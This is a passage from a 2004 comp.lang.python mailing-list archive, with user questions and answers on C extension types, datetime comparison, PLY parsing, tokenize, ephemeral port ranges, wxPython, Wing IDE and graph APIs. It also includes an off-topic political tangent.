MyPyType.tp_base = pointerToOtherPyType; if (PyType_Ready(&MyPyType) < 0) return; } When using MyPyType in python code, the methods defined in MyPyType_methods are not visible. If I comment out the line that sets tp_base then they become visible but the base class methods are unavailable. What's the correct way to do this sort of thing? Regards, Iker From john.thingstad at chello.no Thu Sep 2 10:58:15 2004 From: john.thingstad at chello.no (John Thingstad) Date: Thu, 02 Sep 2004 16:58:15 +0200 Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> <4135cea1$0$19726$61fed72c@news.rcn.com> <%hmZc.17354$ni.569@okepread01> <41372e97$0$19727$61fed72c@news.rcn.com> Message-ID: On Thu, 02 Sep 2004 14:51:27 GMT, wrote: > jmfbahciv at aol.com writes: > >> In article , joe at invalid.address wrote: >> >Steve Holden writes: >> > >> >> jmfbahciv at aol.com wrote: >> >> >> >> > In article , >> >> > red floyd wrote: >> >> > >> >> >>CBFalconer wrote: >> >> >> >> >> >> >> >> >>>Dump Notepad and get Textpad. www.textpad.com. First class. >> >> >>> >> >> >> >> >> >>Let the editor flame wars begin! >> >> >> >> >> >>G etgvim!www.vim.org >> >> > You think notepad is an editor? You must be young >> >> > and inexperienced in the ways of Real Man's Editing sports. >> >> > >> >> My choice? Definitely TECO, a real programmable editor from the >> >> TOPS10 days. >> >> >> >> It would create a file if invoked by the "make" command. If you >> >> typed "make love" it would respond with "...not war?" before >> >> beginning the edit. >> > >> >But can it quote Zippy the Pinhead? >> >> Who? > > http://www.zippythepinhead.com/ > > If you're runnning emacs, you can get a quote from him with M-X yow > > Not exactly a typical editor function, agreed. I was feeling a little > whimsical at the time. > > Joe altso try psykoanalize-pinhead ;) -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From donnal at donnal.net Wed Sep 15 13:21:05 2004 From: donnal at donnal.net (Donnal Walter) Date: Wed, 15 Sep 2004 12:21:05 -0500 Subject: comparing datetime with date In-Reply-To: <3A81C87DC164034AA4E2DDFE11D258E3022ED8@exchange.hqamor.amorhq.net> References: <3A81C87DC164034AA4E2DDFE11D258E3022ED8@exchange.hqamor.amorhq.net> Message-ID: Robert Brewer wrote: > Given your birthdate/time example, I'd look seriously at providing four > Cell subclasses: str, int, date, and time. Separating date and time > completely allows either to be None (= unknown). If consumer code needs > to compare both date and time, you can then write: > > import datetime > > class Thing(object): > def __init__(self, d, t): > self.d = DateCell(d) > self.t = TimeCell(t) > > def dt(self): > return datetime.datetime.combine(self.d, self.t) > > x = Thing(datetime.date(2004, 9, 15), None) > y = Thing(datetime.date(2004, 9, 15), datetime.time(11, 59)) > if x.dt == y.dt: > do_stuff() > > ...the 'if' statement will then raise TypeError, since x.t is None and > won't combine. You can then trap that either inside or outside the dt() > method and handle it as you like. Except that the only code that needs to *compare* two values is found in the superclass Cell.set() method. def set(self, value): if value != self._state: # the only comparison self._state = value self.notify_observers(self) if self._depth > 0: self._depth -= 1 self.feedback() self._depth += 1 One would prefer not to have to override this method (and reproduce the code) in subclasses. Moreover the TimePoint is considered a single value by consumer objects (presenters and Interval observers). The Interval observers supply a time of 00:00 when the time is unknown, but the various presenters (a DateTimeField, for example) display '__:__' instead of '00:00' (unless 00:00 really was entered by the user). Regards, Donnal Walter Arkansas Children's Hospital From rnichol_rrc at yahoo.com Wed Sep 1 16:43:44 2004 From: rnichol_rrc at yahoo.com (Reid Nichol) Date: Wed, 01 Sep 2004 15:43:44 -0500 Subject: negative stride list slices In-Reply-To: <2pmj4aFmofl2U1@uni-berlin.de> References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> Message-ID: Russell Blau wrote: > "Reid Nichol" wrote in message > news:r7oZc.6653$MR2.32885 at news1.mts.net... > >>David Abrahams wrote: >> >>>Can anyone explain the logic behind the behavior of list slicing with >>>negative strides? For example: >>> >>> >>> print range(10)[:-3:-1] >>> [9,8] >>> >>>I found this result very surprising, and would just like to see the >>>rules written down somewhere. >> > http://www.python.org/doc/current/tut/node5.html#SECTION005120000000000000000 > > You probably meant to reference the next section (that bookmark relates to > strings, the next one is lists), but in either case none of the examples in > the tutorial has yet been updated to deal with slices that include a > "stride" as a third parameter. > > This was the part that I was refering to: +---+---+---+---+---+ | H | e | l | p | A | +---+---+---+---+---+ 0 1 2 3 4 5 -5 -4 -3 -2 -1 Does it not all work the same in practice? From JSmuts at clover.co.za Tue Sep 14 08:04:58 2004 From: JSmuts at clover.co.za (Jaco Smuts) Date: Tue, 14 Sep 2004 14:04:58 +0200 Subject: handling mbox Message-ID: hello there I'm busy downloading the mail archives for mod_python. This is a mbox archive, from google it seems as this is generated by a python program, might be part of mailman? What would be the best way for me to process this file / extract information from it / search it ? thanks jaco -------------- next part -------------- An HTML attachment was scrubbed... URL: From deetsNOSPAM at web.de Sat Sep 11 11:10:53 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Sat, 11 Sep 2004 17:10:53 +0200 Subject: Python library to access CVS? References: <4712d252.0409110555.13ad27a3@posting.google.com> Message-ID: Parano wrote: > Is there a Python library to access CVS? > I tried to google search for it, but with "python cvs" you actually find > alot of python projects that have CVS repository... I don't know if there exists one or not - but its considered hard to write one in general, as the design of CVS isn't directed to be machine-interfacable. AFAIK Eric S. Raymond is the author of the emacs cvs mode, and always had hard times to make the tool output parsing work - which one can see, as sometimes errors appear out from nowhere. Said that, you might think of using subversion instead - its especially designed to overcome some of the plenty shortcomings of cvs, including the mentioned one. And there is a python binding for it. svn is mature enough, and a lot of projects I know are currently migrating - also most important tools (tortoise, cvsView) are available. -- Regards, Diez B. Roggisch From webbsoft2 at alltel.net Thu Sep 23 07:46:31 2004 From: webbsoft2 at alltel.net (Jimmie Webb) Date: Thu, 23 Sep 2004 07:46:31 -0400 Subject: New to Python References: Message-ID: Thanks to all the great helpful off-post comments that I received from this group. Glad to know there are some people out there that can be "friendly" and "helpful". It is nice to know some people will help and not call you lazy or stupid. Sorry, I just felt like I walked into the middle of a pit-bull attack. -Jimmie Webb "w" wrote in message news:a1ff320f.0409211158.29e6256b at posting.google.com... > excuse my ignorance. I cannot get this simple program to calculate > the formula. > > The error message is unsupported operand type(s) str. I know the data > that I'm reading from the file is a string but I cannot convert it to > a float or int. > > The code a sample form the data file are below. > > # Calculate Gross Profit from SIL File > > import os.path > > in_file = open( "s3cga1.new", "r") > > while 1: > data = in_file.readline() > if not data: > break > > if data[0:1] == "(": > > nCost = data[ 99:106] > nPack = data[ 44:48] > > nRetail = data[ 79:87] > nQuan = data[ 87:90] > nAllowance = data[ 147:154] > > nGp = ( ( nRetail / nQuan ) - ( ( nCost - nAllowance) / nPack ) ) / ( > nRetail / nQuan ) > > print nCost, nPack, nQuan, nRetail, nAllowance > > > EXAMPLE OF DATA FILE > (00007756725434,'*BREYER STRWBRY ICE ',0007,0006,' 56 OZ ','000216 > ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000,0000000,0004.0 0000,2004262,2004282), > (00007756725433,'*BREYER PEACH ICE CR',0007,0006,' 56 OZ ','000224 > ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000,0000000,0004.0 0000,2004262,2004282), From mauriceling at acm.org Mon Sep 20 00:27:14 2004 From: mauriceling at acm.org (Maurice LING) Date: Mon, 20 Sep 2004 04:27:14 GMT Subject: Using PLY In-Reply-To: <414e3a89$0$91282$ed2619ec@ptn-nntp-reader03.plus.net> References: <414a6ca1$1@news.unimelb.edu.au> <4b39d922.0409171206.1ed5003d@posting.google.com> <414e11ec$1@news.unimelb.edu.au> <414e3a89$0$91282$ed2619ec@ptn-nntp-reader03.plus.net> Message-ID: <414e5c1f$1@news.unimelb.edu.au> Michael Sparks wrote: > Maurice LING wrote: > ... > >>Another thing that I am quite puzzled by is the yacc part of PLY. Most >>of the examples are showing calculators and the yacc part does the >>calculations such as, >> >> def p_expression_group(self, p): >> 'expression : LPAREN expression RPAREN' >> p[0] = p[2] >> >>this is a bad example, I know. > > > Simple examples of lex/yacc type things tend to have this though. > > >>But how do I get it to output some >>intermediate representations, like AST, or an intermediate code >>(byte-code type). >> >>Is >> >> def p_expression_group(self, p): >> 'expression : LPAREN expression RPAREN' >> p[0] = p[2] >> print "byte_x" + p[0] >> >>or something like this legal? > > > It's legal, but probably not what you want. > > Normally you have Lex --(token) --> Parse --(AST)--> Something Interesting. > > If Something Interesting is simple, you can do that instead at the AST stage > which is what the examples do. > > If you wanted to modify the example/calc/calc.py in the PLY distribution to > return an AST to play with you would change it's rules to store the parsed > structure rather than do the work. Taking the route of minimal change to > try and make it obvious what I've changed: > > def p_statement_assign(p): > 'statement : NAME EQUALS expression' > p[0] = [ "assignment", p[1], p[3] ] # names[p[1]] = p[3] > > def p_statement_expr(p): > 'statement : expression' > p[0] = [ expr_statement", p[1] ] # print p[1] > > def p_expression_binop(p): > '''expression : expression PLUS expression > | expression MINUS expression > | expression TIMES expression > | expression DIVIDE expression''' > p[0] = ["binop_expr", p[2], p[1], p[3] ] # long if/elif evaluation > > def p_expression_uminus(p): > 'expression : MINUS expression %prec UMINUS' > p[0] = ["uminus_expr", p[2]] # p[0] = -p[2] > > def p_expression_group(p): > 'expression : LPAREN expression RPAREN' > p[0] = ["expression", p[2] ] # p[0] = p[2] > > def p_expression_number(p): > 'expression : NUMBER' > p[0] = ["number", p[1]] # p[0] = p[1] > > def p_expression_name(p): > 'expression : NAME' > p[0] = ["name", p[1] ] # p[0] = names[p[1]], with error handling > > A sample AST this could generate would be: > > [ "assignment", > ["name", "BOB" ], > ["expression", > ["binop_expr", > "*", > ["number", 7], > ["number", 9] > ] > ] > ] > > In example/calc/calc.py this value would be returned here: > > while 1: > try: > s = raw_input('calc > ') > except EOFError: > break > AST = yacc.parse(s) #### <- ------ HERE! > > (NB, slight change to the line ####) > > This is a very boring, not very interesting, not that great AST,but should > hopefully get you started. You should be able to see that by traversing > this tree you could get the same result as the original code, or could spit > out code that performs this functionality. Often its nice to have some > simplification of the tree as well since this sort of thing can be rather > unwieldy for realistic languages. > > It's also worth noting that the calc.py example is also very toy in that it > matches single lines using the parser rather than collections of lines. (ie > the parser has no conception of a piece of code containing more than one > statement) > > >>I'm trying to parse what looks like a 4GL source code. > > > FWIW, start small - start with matching the simplest expressions you can and > work forward from there (unless you're lucky enough to have a LALR(1) or > SLR(1) grammar for it suitable for PLY already). Test first style coding > for grammars feels intuitively wrong, but seems to work really well in > practice - just make sure that after making every test work check in the > result to CVS/your favourite version control system :-) I've worked out my grammar in BNF, so I hope it is context free. > > One other tip you might find useful - rather than sending the lexer whole > files as PLY seems to expect, do line handling yourself and send it lines > instead - it works much more like Flex/lex that way. > > Regards, > > > Michael. > Thank you, this really helped my understanding. maurice From bm at acm.org Tue Sep 14 12:13:41 2004 From: bm at acm.org (Bulent Murtezaoglu) Date: Tue, 14 Sep 2004 19:13:41 +0300 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <4146dc2f$0$2665$61fed72c@news.rcn.com> <87brg96kfe.fsf@p4.internal> Message-ID: <873c1k7rre.fsf@p4.internal> >>>>> "GM" == Greg Menke writes: [on the 'crusade' faux pas] GM> You may or may not be right about the dumbness of language, GM> but thats not germane. What is important are the conclusions GM> people in the middle east draw from it. I think the retraction/clarification came out in less than a day if not in hours. People who'd report this to further their agenda are also the kind of people who shamelessly lie regardless of who says what anyway, so I doubt he did any major damage. But of course it couldn't have helped. [...] GM> What if what if what if. The problem is we're stuck in a GM> hugely expensive, poorly planned and strategically stupid GM> situation. We weren't before we invaded. I'll tell you what's worse: if the guys who got you into this situation aren't duly punished at the polls, we may well see more of it. Not that the replacement would be any better necessarily (indeed he might be worse in many ways), but this kind of poor judgement needs to have political consequences domestically. With the Soviets gone, the only force that can keep the US gov't in check right now is the reaction of the US voter. That or the unwillingness of the world to bankroll these adventures with loans will restrain them in the short term. (The US gets to borrow with US$ denominated paper, if that weren't true and with the US$ getting weaker by about 20-50% against major currencies in the past 3-4 years, the true cost of these adventures would have been obvious by now. But then again, what do I know?) [...] GM> One problem with the situation was Dubya & Co succeeded in GM> strongly hinting that disagreement was akin to treason. So it seems. GM> There was simply no policital room for debate after 9/11. [...] Yeah that's probably why people didn't point and laugh at the officials who implied the treason bit above. Now, I suppose it will be having the armed forces stuck in hostile territory that'll be used for this purpose. cheers, BM From matt.torment at gmail.com Tue Sep 7 02:58:57 2004 From: matt.torment at gmail.com (Matthew K Jensen) Date: 6 Sep 2004 23:58:57 -0700 Subject: any suggestions for URL cataloging project? Message-ID: I've just come up with an idea to make a small-time record of web pages linking to other web pages. I don't want to download every page on the internet (I'll leave google to do that). I just want to know if anyone has any suggestions on how to acquire just the links from a web page using python. This is for a cataloging purpose. Is there some library or script out there that I haven't heard of? From daniel at syrinx.net Tue Sep 21 16:24:12 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Tue, 21 Sep 2004 16:24:12 -0400 Subject: python ides In-Reply-To: References: <41507c8f$0$25693$636a15ce@news.free.fr> Message-ID: <2rbgq9F16q2g8U2@uni-berlin.de> Peter Hansen wrote: > Adam Victor Nazareth Brandizzi wrote: > >> On Tue, 21 Sep 2004 21:03:02 +0200, bruno modulix >> wrote: >> >>> "Proyect" ? Seems like our friend the troll Julio has changed its >>> skin... >> >> >> >> Dubious... It seems to be a hispanic[1] typo... >> >> [1] Or italic, polish, greek... something like it :) > > > http://groups.google.ca/groups?q=group:comp.lang.python.*+proyect > shows only 16 matches in all the years the group has been tracked. > > Yes, almost all were posts by "hispanic typos" (small pun, sorry), > but two coming in the last couple of days, both by people who > haven't heard of capitalization and are using the same method of > posting, and the same User-Agent, make it rather more than merely Same IP as well. > "dubious", I think. As Dan pointed out, the headers tell us > everything, even if the ranting style doesn't. > > Of course, Dan shares his first name with a certain anchorperson who > is busy scraping egg of his face for making assumptions without > good proof, so who knows. ;-) I'd /Rather/ not discuss that, thank you. > -this-thread-was-really-about-the-ides-of-python-ly y'rs, Ah, but this issue does bring into question the integrity of the OP and the resulting validity of his opinions... > Peter "Yes, I fixed my From field" Hansen Finally! :) From steve at holdenweb.com Mon Sep 27 20:16:16 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 27 Sep 2004 20:16:16 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools In-Reply-To: References: <41542230.3070808@bellsouth.net> <4157FD67.80404@holdenweb.com> Message-ID: Dan Perl wrote: > "Steve Holden" wrote in message > news:4157FD67.80404 at holdenweb.com... > [...] >> >>As a recent convert to Wing I think you aren't giving them enough credit: >>remember, this only happens in the 2.0 BETA product (or, if it also >>happens in earlier versions, they are definitely planning to minimize the >>effects in the production version). > > > According to the documentation this was happening in much earlier, > production, versions. You are saying "they are definitely planning to > minimize the effects in the production version". Can you please qualify > that? Minimize how? What does "minimizing the effects" mean anyway? > All I was doing was pointing out htat they are aware of hte phenomenon, and that I (unlike you, apparently) am prepared to live with a minor nit in order to get the advantages the tool gives me. > >>>I didn't try to figure out what their exception detection mechanism is >>>and why they have this problem. I just uninstalled the IDE. So 10 days >>>for the trial was more than enough after all. ;-) I think I had it >>>installed for about 2 days. I can tolerate a bug and I wouldn't be so >>>riled up, but what got me was the marketing spin and how they were just >>>excusing the bug, like they would never fix it. >>> >> >>Well, I'm sure I remember reading somewhere that before they go into >>production they plan to add a standard list of such exceptions for the >>various Python versions, so that the standard libraries are far less >>troublesome in this respect. > > > A "standard" list? I don't see what's "standard" about that. And the > "standard libraries" are not "troublesome", the IDE is. On the other hand, > I suppose that this would be an "effect minimization". I don't know what > their plans are, but they could include a list of all the possible false > positives and automatically ignore them. Forgive me, but that is a hack and > I will not have any respect for that. > Well, fine. > You are using the same kind of marketing spin speak that Wingware is using. > I can understand that you like the tool and you feel you have to defend it. > But I think this is the wrong way to do it, both for you and for Wingware. > Nope, I don;t feel I have to defend it. The tool does what it does, I was merely sayiong that some people (such as me) can work with it as it is. You apparently can't. Fine. > I probably shouldn't get so worked up about it. To be fair, since I tried > the tool I have discovered that Wing IDE also has the option to disable that > behavior and to debug in a mode where unhandled exceptions are just treated > like a normal run would treat them. > Well, yes, but I thought we were focusing ont he deficiencies of the tool, not the advantages :-) > >>Plus, IIRC, all you have to do is check an "ignore this exception" box to >>have a specific exception ignored everafter, which didn't seem like a huge >>deal to me. > > > It's just too bad I don't have a checkbox for "Ignore marketing spin at this > location". > Indeed. Hope you feel better now. > Dan > > regards Steve From aleaxit at yahoo.com Thu Sep 16 17:33:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 23:33:29 +0200 Subject: wxPython Not Ready for Commercial Use References: Message-ID: <1gk8bjf.zfmy6fh6vv7nN%aleaxit@yahoo.com> Polerio Babao Jr.II wrote: ... > difficult way. I am just dissapointed, now I am trying to learn c++/qt > to solve my gui and printing problem. Please correct me if I am wrong. What's C++ gotta do with it? If you want to use Qt (and are willing to pay the fees for it, or else only release under GPL and not for Windows), fine, it's actually what I prefer myself. But you can use either C++ or Python indifferently with either framework, wxWidgets/wxPython or Qt/PyQt. So you definitely _are_ wrong in implying that language choice and choice of frameworks have anything much to do with each other in this context. If wxPython has problems they lie elsewhere... I was just trying to install bittorrent on a Linux box tonight, and bittorrent requires wxPython, so I _did_ just go through the very messy and lengthy build process (./configure-make-sudo make install only does the wxWidgets part, then you have to edit config.py before you run python setup.py to build -- and the docs explaining this are quite lengthy)... only to find in the end that bittorrent just doesn't like the current release of wxPython, crashing loudly pretty soon. I guess incompatible changes have been made, or programming errors, or something. Guess I should try again with another, older, stable release of wxPython, but it's a bit late to restart tonight. However, Qt (for all that I _do_ like it) has just the same kind of problem... you upgrade the library, your apps start breaking right and left and center. Apparently, achieving stability and good backwards compatibility in such huge frameworks is NOT a trivial problem, particularly because users and would-be users are always clamoring for more and more feechurs (and your peculiar whine which seems to equate "lacks builtin ability to emulate Excel custom printing" to "is not ready for commercial use" offers an entertaining example thereof). Alex From roy at panix.com Tue Sep 7 14:14:36 2004 From: roy at panix.com (Roy Smith) Date: Tue, 07 Sep 2004 14:14:36 -0400 Subject: Python Interpreter question. References: <1gjrd1h.4w2qi610yei4wN%aleaxit@yahoo.com> Message-ID: In article <1gjrd1h.4w2qi610yei4wN%aleaxit at yahoo.com>, aleaxit at yahoo.com (Alex Martelli) wrote: > Similarly for anything you type at the interactive >>> prompt -- the > fact that whatever source you type gets compiled into bytecode first, > and then that bytecode is handed over to the VM for execution, is no > problem to you... in practice you DO have an interpreter, even though > "deep down" it's just a compiler + a VM!-) And this is one of the coolest features of python. Being able to just type stuff at an interactive prompt instead of having to create a file, compile it, and run it, makes it so easy to explore bits of the system you're not sure of. For example, if I want to find out what methods lists have, I can just type dir ([]) which is a lot faster than looking it up in the docs. From mfuhr at fuhr.org Tue Sep 14 09:59:13 2004 From: mfuhr at fuhr.org (Michael Fuhr) Date: 14 Sep 2004 07:59:13 -0600 Subject: check for unused ports and then grab one References: <9vhh12-suo.ln1@lairds.us> <41462666.9060606@usa.net> Message-ID: <4146f931$1_4@omega.dimensional.com> Brad Tilley writes: > > def listen(server_param, port_param): > > s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > > s.bind((server_param, port_param)) > > s.listen(1) > > ipaddr, port = s.getsockname() > > print ipaddr, port [snip] > Not that it matters, but this code always gets a much higher port number > on my Linux computers: Different systems have different ephemeral port ranges; they can often be configured. Here are some examples: Linux $ sysctl net.ipv4.ip_local_port_range net.ipv4.ip_local_port_range = 32768 61000 FreeBSD $ sysctl net.inet.ip.portrange net.inet.ip.portrange.lowfirst: 1023 net.inet.ip.portrange.lowlast: 600 net.inet.ip.portrange.first: 1024 net.inet.ip.portrange.last: 5000 net.inet.ip.portrange.hifirst: 49152 net.inet.ip.portrange.hilast: 65535 net.inet.ip.portrange.randomized: 1 Solaris $ ndd /dev/tcp tcp_smallest_anon_port 32768 $ ndd /dev/tcp tcp_largest_anon_port 65535 -- Michael Fuhr http://www.fuhr.org/~mfuhr/ From bokr at oz.net Fri Sep 17 04:03:39 2004 From: bokr at oz.net (Bengt Richter) Date: 17 Sep 2004 08:03:39 GMT Subject: Using PLY References: <414a6ca1$1@news.unimelb.edu.au> Message-ID: On Fri, 17 Sep 2004 04:48:36 GMT, Maurice LING wrote: >Hi, > >I know that PLY lex is able to do line counting. I am wondering if there >is a way to count the number of each keywords (tokens) in a given file? >For example, how many IF tokens etc? > >>> import tokenize >>> import StringIO >>> src = StringIO.StringIO(""" ... if a: foo() ... elif b: bar() ... if c: baz() ... """) >>> sum([1 for t in tokenize.generate_tokens(src.readline) if t[1]=='if']) 2 That generates an intermediate list with a 1 for each 'if', but it's not a big price to pay IMO. If you have a file in the current working directory, e.g., foo.py, substitute src = file('foo.py') or do it in one line, like (untested): sum([1 for t in tokenize.generate_tokens(file('foo.py').readline) if t[1]=='if']) generate_tokens returns a generator that returns tuples, e.g. for the above Rewind src: >>> src.seek(0) Get the generator: >>> tg = tokenize.generate_tokens(src.readline) Manually get a couple of examples: >>> tg.next() (53, '\n', (1, 0), (1, 1), '\n') >>> tg.next() (1, 'if', (2, 0), (2, 2), 'if a: foo()\n') Rewind the StringIO object to start again: >>> src.seek(0) Show all the token tuples: >>> for t in tokenize.generate_tokens(src.readline): print t ... (53, '\n', (1, 0), (1, 1), '\n') (1, 'if', (2, 0), (2, 2), 'if a: foo()\n') (1, 'a', (2, 3), (2, 4), 'if a: foo()\n') (50, ':', (2, 4), (2, 5), 'if a: foo()\n') (1, 'foo', (2, 6), (2, 9), 'if a: foo()\n') (50, '(', (2, 9), (2, 10), 'if a: foo()\n') (50, ')', (2, 10), (2, 11), 'if a: foo()\n') (4, '\n', (2, 11), (2, 12), 'if a: foo()\n') (1, 'elif', (3, 0), (3, 4), 'elif b: bar()\n') (1, 'b', (3, 5), (3, 6), 'elif b: bar()\n') (50, ':', (3, 6), (3, 7), 'elif b: bar()\n') (1, 'bar', (3, 8), (3, 11), 'elif b: bar()\n') (50, '(', (3, 11), (3, 12), 'elif b: bar()\n') (50, ')', (3, 12), (3, 13), 'elif b: bar()\n') (4, '\n', (3, 13), (3, 14), 'elif b: bar()\n') (1, 'if', (4, 0), (4, 2), 'if c: baz()\n') (1, 'c', (4, 3), (4, 4), 'if c: baz()\n') (50, ':', (4, 4), (4, 5), 'if c: baz()\n') (1, 'baz', (4, 6), (4, 9), 'if c: baz()\n') (50, '(', (4, 9), (4, 10), 'if c: baz()\n') (50, ')', (4, 10), (4, 11), 'if c: baz()\n') (4, '\n', (4, 11), (4, 12), 'if c: baz()\n') (0, '', (5, 0), (5, 0), '') HTH Regards, Bengt Richter From kjetilho at yksi.ifi.uio.no Wed Sep 15 21:15:28 2004 From: kjetilho at yksi.ifi.uio.no (Kjetil Torgrim Homme) Date: Thu, 16 Sep 2004 03:15:28 +0200 Subject: Incrementing a string References: Message-ID: <1r8ybb3tfz.fsf@rovereto.ifi.uio.no> [John Velman]: > > [how do I implement "$a = 'z'; $a++;" in Python?] is there any reason you need your labels to be on this format? usually, I would find a plain "L42" more readable. def gen_label(): num = 0 while True: num += 1 yield "L" + str(num) Perl's increment operator isn't a generator, it just changes the current value so you can jump back and forth. here's one quick go at it. I'm sure it can be done more prettily, and probably without assuming the string is ASCII :-) def incr(s): i = 1 while i <= len(s): if 'a' <= s[-i] < 'z': return s[:-i] + chr(88 + int(s[-i], 36)) + s[len(s)+1-i:] elif s[-i] == 'z': s = s[:-i] + 'a' + s[len(s)+1-i:] else: raise ValueError i += 1 return 'a' + s -- Kjetil T. From fumanchu at amor.org Thu Sep 23 23:24:28 2004 From: fumanchu at amor.org (Robert Brewer) Date: Thu, 23 Sep 2004 20:24:28 -0700 Subject: Check for presence fo directory Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F09@exchange.hqamor.amorhq.net> Maurice LING wrote: > Hi, I'm looking for a way to check the presence of a > directory, such as, > finddirectory(d), where d is the full directory path. Or is > the only > way is to use os.listdir() to get the directory list and > test for the > presence of the directory I want before creating one? Should we assume you're rejecting os.path.exists() for some reason? > What will happen if I try to create a directory that is > already present? I tend to find an exception is raised in those cases. Robert Brewer MIS Amor Ministries fumanchu at amor.org From drysdam at ll.mit.edu Tue Sep 14 14:25:04 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Tue, 14 Sep 2004 14:25:04 -0400 Subject: funcs vs vars in global namespace In-Reply-To: <1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com> References: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> <8KD1d.10$26.4@llslave.llan.ll.mit.edu> <1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com> <1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com> Message-ID: <4IG1d.13$26.5@llslave.llan.ll.mit.edu> Alex Martelli wrote: > David Rysdam wrote: > ... > >>OK, dumb question #1: >> >>Why do this: >> >>sub_module = __import__(which_module_this_time) >>vars(sub_module).update(which_dict_this_time) >> >>When I could just do this: >> >>__import__(which_module_this_time, which_dict_this_time) >> >>? > > > You can do whatever you wish, but what makes you think these constructs > have similar effects? Quoting from Python's online docs on __import__, > > """ > the standard implementation does not use its locals argument at all, > and uses its globals only to determine the package context of the > import statement > """ > > In short, the standard implementation of __import__ does NOT alter in > any way the dict of the module it imports. > > > Alex Ah, I see. Your "which_dict_this_time" dictionary, how are you imagining that working? I was just mapping function name strings to functions ({'logError':logError}), but (long story short) that isn't working how I want. But shouldn't I be able to define the function right there in the dictionary itself? Perhaps this is getting too non-obvious, magical and unmaintainable, though. From luismg at gmx.net Mon Sep 6 11:03:05 2004 From: luismg at gmx.net (Neuruss) Date: 6 Sep 2004 08:03:05 -0700 Subject: [IronPython] Jim Hugunin's web log. References: <278de0e.0408302346.62cfc40b@posting.google.com> <278de0e.0409042159.2e743d89@posting.google.com> Message-ID: <278de0e.0409060703.4f94e33c@posting.google.com> > Sorry, it came of more harshly than I intended. Don't worry. I'm the bully here ;-) From adalke at mindspring.com Fri Sep 10 19:13:34 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 10 Sep 2004 23:13:34 GMT Subject: Standard graph API? In-Reply-To: References: Message-ID: Magnus Lie Hetland wrote: > Yup. Just go ahead and add stuff. I tried. I can view the page and get to the edit page but I can neither save it nor preview it. My browser times out. Here are my two sets of comments Brian Kelley's "frowns" packages (http://staffa.wi.mit.edu/people/kelley/ ) has graph code appropriate for a chemical informatics library, including a wrapper to the VFlib isomorphism graph library. Andrew Dalke has some clique finding code at http://starship.python.net/crew/dalke/clique/ . and (Andrew Dalke speaking here.) It's pretty uniformly agreed that there is no standard graph representation, if for no other reason than that my nodes are called "atoms" and my edges are called "bonds" and I don't care about neither multigraphs nor directed edges. ;) Magnus suggests that adapters is the right approach. My concern with that is two-fold. First, the adapter layer will cause a non-trivial overhead -- at least an extra function call for every graph-specific action. Second, the algorithm can't be specialized for the graph at hand. (Eg, in a DFS the algorithm may generate events for node enter, exit, and backtrack, while I may only need one of those.) My thought is to use some sort of templating system. If done well the actual code might even be Python, with a naming scheme to allow replacements appropriate to the data structure (eg, to use "weights[edge]" or "edge.size" for a flow algorithm) and remove code blocks not needed for a given algorithm (eg, don't include a callback code if it isn't used.) This would depend on having standard ideas of what you can do with a graph. Some include "iterate over all nodes", "compare two nodes for equivalence", "get all edges for a given node." Now responding to your post > Your idea is interesting -- but quite a way from what I had > envisioned... Would there be a way to combine the ideas? I.e. define > an (abstract) interface to standard graph functionality and in > addition have this sort of template stuff? It might be a bit far > fetched, though, as it seems your template idea obviates the need for > a standard interface. As I outlined above, I believe it should be possible to build a templating system on top of working Python code. The code uses the 'standard' API and the templating system gives a way to conform the algorithm to the graph at hand. I think many people will just use the standard scheme, but that enough people have different needs (like chemistry) that it's worth the effort to be malleable that way. > Well -- I was rather aiming for a definition of a graph protocol > (similar to e.g. the sequence protocol or the mapping protocol), and > that would entail fixing the methods and attributes involved. Ahh, then we are talking about different but related things. I don't think it's possible to have a graph protocol like mention which is good enough for all graph systems. Eg, does the weight for a max flow calculation come from a property of the edge, from a table passed into the function, or from a callable? If a table, is it indexed by id(node), by the node itself (is the node hashable?) or by some unique id given to all nodes? I know there are lessons to learn from both LEDA and the Boost Graph Library. Sadly, I don't know them. > Maybe. I guess it depends on how you implement things. For example, if > it's only a matter of renaming methods, that wouldn't entail any > performance loss at all (you could just have another attribute bound > to the same method). I do not want that. Which will users of my library use, "edges" or "bonds"? This sort of choice is bad. > But coding this doesn't seem like much fun. > > My hope was that I could write new graph algorithms so they looked > somewhat pretty and readable. Having to write them in some new > template langage doesn't seem very tempting. > > (As I said, stock algorithms aren't of that much interest to me.) What I need to do is take a look at, say, David Eppstein's set of algorithms and see if my templating idea can work without being too onerous. > I don't see how this has anything to do with the issue at hand, > really. > > The person who implemented the DFS could deal with this issue (by > parametrizing it) or something. (*Or* using adaptation, for that > matter.) I'm sure there are many other ways of dealing with this... > IMO this is orthogonal. Whether or not you can tell the DFS how you > access the neighbors of a node isn't directly related to what you want > the DFS to do... Mmm, in some way you are right. You've been talking about adapting the data structure to work with the algorithm. I've been talking about adapting the algorithm to deal with the data structure. >>I found that 'is' testing for my graphs is much better. > > > The problem is that it is impossible to override. That's why it's faster. :) > If I were to use some special hardware as the source of my graph > (which is a realistic example for me) I might have to create node > wrappers on the 